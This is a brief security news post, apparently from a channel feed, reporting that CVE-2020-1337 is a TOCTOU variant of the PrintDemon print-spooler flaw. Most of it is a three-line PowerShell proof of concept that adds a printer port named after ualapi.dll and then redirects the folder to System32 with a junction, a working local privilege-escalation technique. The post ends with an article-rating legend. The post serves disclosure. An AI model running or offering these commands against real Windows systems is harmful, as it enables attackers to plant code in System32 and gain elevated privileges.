August 12, 2020 at 12:41AM

■■■■■ CVE-2020-1337 is CVE-2020-1048 (aka PrintDemon) with a TOCTOU.

PoC:
mkdir C:\test
Add-PrinterPort -Name c:\test\ualapi.dll
New-Item -Type Junction -Path C:\test -Value C:\Windows\System32

https://t.me/cKure/5214

Rating (of articles):
●○○○○ = Ignorable
●●○○○ = Average
●●●○○ = Good
●●●●○ = Very Good
●●●●● = Excellent
None  = Top-Class

 i@ckure.esy.es